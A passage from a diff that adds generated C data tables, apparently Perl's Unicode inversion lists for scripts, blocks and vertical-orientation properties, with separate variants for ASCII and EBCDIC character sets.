+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1735,
+	0x1737
+};
+
+static const UV PL_THAA_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61D,
+	0x61F,
+	0x620,
+	0x660,
+	0x66A,
+	0x780,
+	0x7B2,
+	0xFDF2,
+	0xFDF3,
+	0xFDFD,
+	0xFDFE
+};
+
+static const UV PL_THAI_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xE01,
+	0xE3B,
+	0xE40,
+	0xE5C
+};
+
+static const UV PL_TIBT_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFD5,
+	0xFD9,
+	0xFDB
+};
+
+static const UV PL_TIRH_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x964,
+	0x966,
+	0xA830,
+	0xA83A,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA
+};
+
+static const UV PL_TRANSPORTANDMAP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F680,
+	0x1F700
+};
+
+static const UV PL_UCAS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1400,
+	0x1680
+};
+
+static const UV PL_UCASEXT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x18B0,
+	0x1900
+};
+
+static const UV PL_UGAR_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103A0
+};
+
+static const UV PL_UIDEO_invlist[] = { /* for all charsets */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1
+};
+
+static const UV PL_VAI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA500,
+	0xA62C
+};
+
+static const UV PL_VEDICEXT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1CD0,
+	0x1D00
+};
+
+static const UV PL_VERTICALFORMS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFE10,
+	0xFE20
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_VO__R_invlist[] = { /* for ASCII/Latin1 */
+	175,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA7,
+	0xA8,
+	0xA9,
+	0xAA,
+	0xAE,
+	0xAF,
+	0xB1,
+	0xB2,
+	0xBC,
+	0xBF,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2EA,
+	0x2EC,
+	0x1100,
+	0x1200,
+	0x1401,
+	0x1680,
+	0x18B0,
+	0x1900,
+	0x2016,
+	0x2017,
+	0x2020,
+	0x2022,
+	0x2030,
+	0x2032,
+	0x203B,
+	0x203D,
+	0x2042,
+	0x2043,
+	0x2047,
+	0x204A,
+	0x2051,
+	0x2052,
+	0x2065,
+	0x2066,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x210A,
+	0x210F,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2135,
+	0x2140,
+	0x2145,
+	0x214B,
+	0x214C,
+	0x214E,
+	0x214F,
+	0x218A,
+	0x218C,
+	0x2190,
+	0x221E,
+	0x221F,
+	0x2234,
+	0x2236,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2324,
+	0x232C,
+	0x237D,
+	0x239B,
+	0x23BE,
+	0x23CE,
+	0x23CF,
+	0x23D0,
+	0x23D1,
+	0x23DC,
+	0x23E2,
+	0x2423,
+	0x2424,
+	0x2500,
+	0x25A0,
+	0x261A,
+	0x2620,
+	0x2768,
+	0x2776,
+	0x2794,
+	0x2B12,
+	0x2B30,
+	0x2B50,
+	0x2B5A,
+	0x2BB8,
+	0x2BD2,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2E80,
+	0xA4D0,
+	0xA960,
+	0xA980,
+	0xAC00,
+	0xD800,
+	0xE000,
+	0xFB00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFE49,
+	0xFE50,
+	0xFE58,
+	0xFE59,
+	0xFE63,
+	0xFE67,
+	0xFE70,
+	0xFF01,
+	0xFF0D,
+	0xFF0E,
+	0xFF1C,
+	0xFF1F,
+	0xFF61,
+	0xFFE0,
+	0xFFE8,
+	0xFFF0,
+	0xFFF9,
+	0xFFFC,
+	0xFFFE,
+	0x10980,
+	0x109A0,
+	0x11580,
+	0x11600,
+	0x11A00,
+	0x11AB0,
+	0x13000,
+	0x13430,
+	0x14400,
+	0x14680,
+	0x16FE0,
+	0x18B00,
+	0x1B000,
+	0x1B130,
+	0x1B170,
+	0x1B300,
+	0x1D000,
+	0x1D200,
+	0x1D300,
+	0x1D380,
+	0x1D800,
+	0x1DAB0,
+	0x1F000,
+	0x1F800,
+	0x1F900,
+	0x1FA00,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_VO__R_invlist[] = { /* for EBCDIC 1047 */
+	173,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8F,
+	0x90,
+	0xAF,
+	0xB0,
+	0xB4,
+	0xB6,
+	0xB7,
+	0xBA,
+	0xBF,
+	0xC0,
+	0xE1,
+	0xE2,
+	0x2EA,
+	0x2EC,
+	0x1100,
+	0x1200,
+	0x1401,
+	0x1680,
+	0x18B0,
+	0x1900,
+	0x2016,
+	0x2017,
+	0x2020,
+	0x2022,
+	0x2030,
+	0x2032,
+	0x203B,
+	0x203D,
+	0x2042,
+	0x2043,
+	0x2047,
+	0x204A,
+	0x2051,
+	0x2052,
+	0x2065,
+	0x2066,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x210A,
+	0x210F,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2135,
+	0x2140,
+	0x2145,
+	0x214B,
+	0x214C,
+	0x214E,
+	0x214F,
+	0x218A,
+	0x218C,
+	0x2190,
+	0x221E,
+	0x221F,
+	0x2234,
+	0x2236,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2324,
+	0x232C,
+	0x237D,
+	0x239B,
+	0x23BE,
+	0x23CE,
+	0x23CF,
+	0x23D0,
+	0x23D1,
+	0x23DC,
+	0x23E2,
+	0x2423,
+	0x2424,
+	0x2500,
+	0x25A0,
+	0x261A,
+	0x2620,
+	0x2768,
+	0x2776,
+	0x2794,
+	0x2B12,
+	0x2B30,
+	0x2B50,
+	0x2B5A,
+	0x2BB8,
+	0x2BD2,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2E80,
+	0xA4D0,
+	0xA960,
+	0xA980,
+	0xAC00,
+	0xD800,
+	0xE000,
+	0xFB00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFE49,
+	0xFE50,
+	0xFE58,
+	0xFE59,
+	0xFE63,
+	0xFE67,
+	0xFE70,
+	0xFF01,
+	0xFF0D,
+	0xFF0E,
+	0xFF1C,
+	0xFF1F,
+	0xFF61,
+	0xFFE0,
+	0xFFE8,
+	0xFFF0,
+	0xFFF9,
+	0xFFFC,
+	0xFFFE,
+	0x10980,
+	0x109A0,
+	0x11580,
+	0x11600,
+	0x11A00,
+	0x11AB0,
+	0x13000,
+	0x13430,
+	0x14400,
+	0x14680,
+	0x16FE0,
+	0x18B00,
+	0x1B000,
+	0x1B130,
+	0x1B170,
+	0x1B300,
+	0x1D000,
+	0x1D200,
+	0x1D300,
+	0x1D380,
+	0x1D800,
+	0x1DAB0,
+	0x1F000,
+	0x1F800,
+	0x1F900,
+	0x1FA00,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_VO__R_invlist[] = { /* for EBCDIC 037 */
+	173,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8F,
+	0x90,
+	0xAF,
+	0xB0,
+	0xB4,
+	0xB6,
+	0xB7,
+	0xBA,
+	0xBF,
+	0xC0,
+	0xE1,
+	0xE2,
+	0x2EA,
+	0x2EC,
+	0x1100,
+	0x1200,
+	0x1401,
+	0x1680,
+	0x18B0,
+	0x1900,
+	0x2016,
+	0x2017,
+	0x2020,
+	0x2022,
+	0x2030,
+	0x2032,
+	0x203B,
+	0x203D,
+	0x2042,
+	0x2043,
+	0x2047,
+	0x204A,
+	0x2051,
+	0x2052,
+	0x2065,
+	0x2066,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x210A,
+	0x210F,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2135,
+	0x2140,
+	0x2145,
+	0x214B,
+	0x214C,
+	0x214E,
+	0x214F,
+	0x218A,
+	0x218C,
+	0x2190,
+	0x221E,
+	0x221F,
+	0x2234,
+	0x2236,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2324,
+	0x232C,
+	0x237D,
+	0x239B,
+	0x23BE,
+	0x23CE,
+	0x23CF,
+	0x23D0,
+	0x23D1,
+	0x23DC,
+	0x23E2,
+	0x2423,
+	0x2424,
+	0x2500,
+	0x25A0,
+	0x261A,
+	0x2620,
+	0x2768,
+	0x2776,
+	0x2794,
+	0x2B12,
+	0x2B30,
+	0x2B50,
+	0x2B5A,
+	0x2BB8,
+	0x2BD2,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2E80,
+	0xA4D0,
+	0xA960,
+	0xA980,
+	0xAC00,
+	0xD800,
+	0xE000,
+	0xFB00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFE49,
+	0xFE50,
+	0xFE58,
+	0xFE59,
+	0xFE63,
+	0xFE67,
+	0xFE70,
+	0xFF01,
+	0xFF0D,
+	0xFF0E,
+	0xFF1C,
+	0xFF1F,
+	0xFF61,
+	0xFFE0,
+	0xFFE8,
+	0xFFF0,
+	0xFFF9,
+	0xFFFC,
+	0xFFFE,
+	0x10980,
+	0x109A0,
+	0x11580,
+	0x11600,
+	0x11A00,
+	0x11AB0,
+	0x13000,
+	0x13430,
+	0x14400,
+	0x14680,
+	0x16FE0,
+	0x18B00,
+	0x1B000,
+	0x1B130,
+	0x1B170,
+	0x1B300,
+	0x1D000,
+	0x1D200,
+	0x1D300,
+	0x1D380,
+	0x1D800,
+	0x1DAB0,
+	0x1F000,
+	0x1F800,
+	0x1F900,
+	0x1FA00,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_VO__TR_invlist[] = { /* for all charsets */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2329,
+	0x232B,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3030,
+	0x3031,
+	0x30A0,
+	0x30A1,
+	0x30FC,
+	0x30FD,
+	0xFE59,
+	0xFE5F,
+	0xFF08,
+	0xFF0A,
+	0xFF1A,
+	0xFF1C,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF5B,
+	0xFF61,
+	0xFFE3,
+	0xFFE4
+};
+
+static const UV PL_VO__TU_invlist[] = { /* for all charsets */
+	69,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3001,
+	0x3003,
+	0x3041,
+	0x3042,
+	0x3043,
+	0x3044,
+	0x3045,
+	0x3046,
+	0x3047,
+	0x3048,
+	0x3049,
+	0x304A,
+	0x3063,
+	0x3064,
+	0x3083,
+	0x3084,
+	0x3085,
+	0x3086,
+	0x3087,
+	0x3088,
+	0x308E,
+	0x308F,
+	0x3095,
+	0x3097,
+	0x309B,
+	0x309D,
+	0x30A1,
+	0x30A2,
+	0x30A3,
+	0x30A4,
+	0x30A5,
+	0x30A6,
+	0x30A7,
+	0x30A8,
+	0x30A9,
+	0x30AA,
+	0x30C3,
+	0x30C4,
+	0x30E3,
+	0x30E4,
+	0x30E5,
+	0x30E6,
+	0x30E7,
+	0x30E8,
+	0x30EE,
+	0x30EF,
+	0x30F5,
+	0x30F7,
+	0x3127,
+	0x3128,
+	0x31F0,
+	0x3200,
+	0x3300,
+	0x3358,
+	0x337B,
+	0x3380,
+	0xFE50,
+	0xFE53,
+	0xFF01,
+	0xFF02,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
+	0xFF1F,
+	0xFF20,
+	0x1F200,
+	0x1F202
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_VO__U_invlist[] = { /* for ASCII/Latin1 */
+	253,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA7,
+	0xA8,
+	0xA9,
+	0xAA,
+	0xAE,
+	0xAF,
+	0xB1,
+	0xB2,
+	0xBC,
+	0xBF,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2EA,
+	0x2EC,
+	0x1100,
+	0x1200,
+	0x1401,
+	0x1680,
+	0x18B0,
+	0x1900,
+	0x2016,
+	0x2017,
+	0x2020,
+	0x2022,
+	0x2030,
+	0x2032,
+	0x203B,
+	0x203D,
+	0x2042,
+	0x2043,
+	0x2047,
+	0x204A,
+	0x2051,
+	0x2052,
+	0x2065,
+	0x2066,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x210A,
+	0x210F,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2135,
+	0x2140,
+	0x2145,
+	0x214B,
+	0x214C,
+	0x214E,
+	0x214F,
+	0x218A,
+	0x218C,
+	0x2190,
+	0x221E,
+	0x221F,
+	0x2234,
+	0x2236,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2324,
+	0x2329,
+	0x232B,
+	0x232C,
+	0x237D,
+	0x239B,
+	0x23BE,
+	0x23CE,
+	0x23CF,
+	0x23D0,
+	0x23D1,
+	0x23DC,
+	0x23E2,
+	0x2423,
+	0x2424,
+	0x2500,
+	0x25A0,
+	0x261A,
+	0x2620,
+	0x2768,
+	0x2776,
+	0x2794,
+	0x2B12,
+	0x2B30,
+	0x2B50,
+	0x2B5A,
+	0x2BB8,
+	0x2BD2,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2E80,
+	0x3001,
+	0x3003,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3030,
+	0x3031,
+	0x3041,
+	0x3042,
+	0x3043,
+	0x3044,
+	0x3045,
+	0x3046,
+	0x3047,
+	0x3048,
+	0x3049,
+	0x304A,
+	0x3063,
+	0x3064,
+	0x3083,
+	0x3084,
+	0x3085,
+	0x3086,
+	0x3087,
+	0x3088,
+	0x308E,
+	0x308F,
+	0x3095,
+	0x3097,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A2,
+	0x30A3,
+	0x30A4,
+	0x30A5,
+	0x30A6,
+	0x30A7,
+	0x30A8,
+	0x30A9,
+	0x30AA,
+	0x30C3,
+	0x30C4,
+	0x30E3,
+	0x30E4,
+	0x30E5,
+	0x30E6,
+	0x30E7,
+	0x30E8,
+	0x30EE,
+	0x30EF,
+	0x30F5,
+	0x30F7,
+	0x30FC,
+	0x30FD,
+	0x3127,
+	0x3128,
+	0x31F0,
+	0x3200,
+	0x3300,
+	0x3358,
+	0x337B,
+	0x3380,
+	0xA4D0,
+	0xA960,
+	0xA980,
+	0xAC00,
+	0xD800,
+	0xE000,
+	0xFB00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFE49,
+	0xFE53,
+	0xFE58,
+	0xFE5F,
+	0xFE63,
+	0xFE67,
+	0xFE70,
+	0xFF02,
+	0xFF08,
+	0xFF0A,
+	0xFF0C,
+	0xFF0F,
+	0xFF1A,
+	0xFF20,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF5B,
+	0xFFE0,
+	0xFFE3,
+	0xFFE4,
+	0xFFE8,
+	0xFFF0,
+	0xFFF9,
+	0xFFFC,
+	0xFFFE,
+	0x10980,
+	0x109A0,
+	0x11580,
+	0x11600,
+	0x11A00,
+	0x11AB0,
+	0x13000,
+	0x13430,
+	0x14400,
+	0x14680,
+	0x16FE0,
+	0x18B00,
+	0x1B000,
+	0x1B130,
+	0x1B170,
+	0x1B300,
+	0x1D000,
+	0x1D200,
+	0x1D300,
+	0x1D380,
+	0x1D800,
+	0x1DAB0,
+	0x1F000,
+	0x1F200,
+	0x1F202,
+	0x1F800,
+	0x1F900,
+	0x1FA00,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_VO__U_invlist[] = { /* for EBCDIC 1047 */
+	251,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8F,
+	0x90,
+	0xAF,
+	0xB0,
+	0xB4,
+	0xB6,
+	0xB7,
+	0xBA,
+	0xBF,
+	0xC0,
+	0xE1,
+	0xE2,
+	0x2EA,
+	0x2EC,
+	0x1100,
+	0x1200,
+	0x1401,
+	0x1680,
+	0x18B0,
+	0x1900,
+	0x2016,
+	0x2017,
+	0x2020,
+	0x2022,
+	0x2030,
+	0x2032,
+	0x203B,
+	0x203D,
+	0x2042,
+	0x2043,
+	0x2047,
+	0x204A,
+	0x2051,
+	0x2052,
+	0x2065,
+	0x2066,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x210A,
+	0x210F,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2135,
+	0x2140,
+	0x2145,
+	0x214B,
+	0x214C,
+	0x214E,
+	0x214F,
+	0x218A,
+	0x218C,
+	0x2190,
+	0x221E,
+	0x221F,
+	0x2234,
+	0x2236,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2324,
+	0x2329,
+	0x232B,
+	0x232C,
+	0x237D,
+	0x239B,
+	0x23BE,
+	0x23CE,
+	0x23CF,
+	0x23D0,
+	0x23D1,
+	0x23DC,
+	0x23E2,
+	0x2423,
+	0x2424,
+	0x2500,
+	0x25A0,
+	0x261A,
+	0x2620,
+	0x2768,
+	0x2776,
+	0x2794,
+	0x2B12,
+	0x2B30,
+	0x2B50,
+	0x2B5A,
+	0x2BB8,
+	0x2BD2,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2E80,
+	0x3001,
+	0x3003,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3030,
+	0x3031,
+	0x3041,
+	0x3042,
+	0x3043,
+	0x3044,
+	0x3045,
+	0x3046,
+	0x3047,
+	0x3048,
+	0x3049,
+	0x304A,
+	0x3063,
+	0x3064,
+	0x3083,
+	0x3084,
+	0x3085,
+	0x3086,
+	0x3087,
+	0x3088,
+	0x308E,
+	0x308F,
+	0x3095,
+	0x3097,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A2,
+	0x30A3,
+	0x30A4,
+	0x30A5,
+	0x30A6,
+	0x30A7,
+	0x30A8,
+	0x30A9,
+	0x30AA,
+	0x30C3,
+	0x30C4,
+	0x30E3,
+	0x30E4,
+	0x30E5,
+	0x30E6,
+	0x30E7,
+	0x30E8,
+	0x30EE,
+	0x30EF,
+	0x30F5,
+	0x30F7,
+	0x30FC,
+	0x30FD,
+	0x3127,
+	0x3128,
+	0x31F0,
+	0x3200,
+	0x3300,
+	0x3358,
+	0x337B,
+	0x3380,
+	0xA4D0,
+	0xA960,
+	0xA980,
+	0xAC00,
+	0xD800,
+	0xE000,
+	0xFB00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFE49,
+	0xFE53,
+	0xFE58,
+	0xFE5F,
+	0xFE63,
+	0xFE67,
+	0xFE70,
+	0xFF02,
+	0xFF08,
+	0xFF0A,
+	0xFF0C,
+	0xFF0F,
+	0xFF1A,
+	0xFF20,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF5B,
+	0xFFE0,
+	0xFFE3,
+	0xFFE4,
+	0xFFE8,
+	0xFFF0,
+	0xFFF9,
+	0xFFFC,
+	0xFFFE,
+	0x10980,
+	0x109A0,
+	0x11580,
+	0x11600,
+	0x11A00,
+	0x11AB0,
+	0x13000,
+	0x13430,
+	0x14400,
+	0x14680,
+	0x16FE0,
+	0x18B00,
+	0x1B000,
+	0x1B130,
+	0x1B170,
+	0x1B300,
+	0x1D000,
+	0x1D200,
+	0x1D300,
+	0x1D380,
+	0x1D800,
+	0x1DAB0,
+	0x1F000,
+	0x1F200,
+	0x1F202,
+	0x1F800,
+	0x1F900,
+	0x1FA00,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_VO__U_invlist[] = { /* for EBCDIC 037 */
+	251,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8F,
+	0x90,
+	0xAF,
+	0xB0,
+	0xB4,
+	0xB6,
+	0xB7,
+	0xBA,
+	0xBF,
+	0xC0,
+	0xE1,
+	0xE2,
+	0x2EA,
+	0x2EC,
+	0x1100,
+	0x1200,
+	0x1401,
+	0x1680,
+	0x18B0,
+	0x1900,
+	0x2016,
+	0x2017,
+	0x2020,
+	0x2022,
+	0x2030,
+	0x2032,
+	0x203B,
+	0x203D,
+	0x2042,
+	0x2043,
+	0x2047,
+	0x204A,
+	0x2051,
+	0x2052,
+	0x2065,
+	0x2066,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x210A,
+	0x210F,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2135,
+	0x2140,
+	0x2145,
+	0x214B,
+	0x214C,
+	0x214E,
+	0x214F,
+	0x218A,
+	0x218C,
+	0x2190,
+	0x221E,
+	0x221F,
+	0x2234,
+	0x2236,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2324,
+	0x2329,
+	0x232B,
+	0x232C,
+	0x237D,
+	0x239B,
+	0x23BE,
+	0x23CE,
+	0x23CF,
+	0x23D0,
+	0x23D1,
+	0x23DC,
+	0x23E2,
+	0x2423,
+	0x2424,
+	0x2500,
+	0x25A0,
+	0x261A,
+	0x2620,
+	0x2768,
+	0x2776,
+	0x2794,
+	0x2B12,
+	0x2B30,
+	0x2B50,
+	0x2B5A,
+	0x2BB8,
+	0x2BD2,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2E80,
+	0x3001,
+	0x3003,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3030,
+	0x3031,
+	0x3041,
+	0x3042,
+	0x3043,
+	0x3044,
+	0x3045,
+	0x3046,
+	0x3047,
+	0x3048,
+	0x3049,
+	0x304A,
+	0x3063,
+	0x3064,
+	0x3083,
+	0x3084,
+	0x3085,
+	0x3086,
+	0x3087,
+	0x3088,
+	0x308E,
+	0x308F,
+	0x3095,
+	0x3097,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A2,
+	0x30A3,
+	0x30A4,
+	0x30A5,
+	0x30A6,
+	0x30A7,
+	0x30A8,
+	0x30A9,
+	0x30AA,
+	0x30C3,
+	0x30C4,
+	0x30E3,
+	0x30E4,
+	0x30E5,
+	0x30E6,
+	0x30E7,
+	0x30E8,
+	0x30EE,
+	0x30EF,
+	0x30F5,
+	0x30F7,
+	0x30FC,
+	0x30FD,
+	0x3127,
+	0x3128,
+	0x31F0,
+	0x3200,
+	0x3300,
+	0x3358,
+	0x337B,
+	0x3380,
+	0xA4D0,
+	0xA960,
+	0xA980,
+	0xAC00,
+	0xD800,
+	0xE000,
+	0xFB00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFE49,
+	0xFE53,
+	0xFE58,
+	0xFE5F,
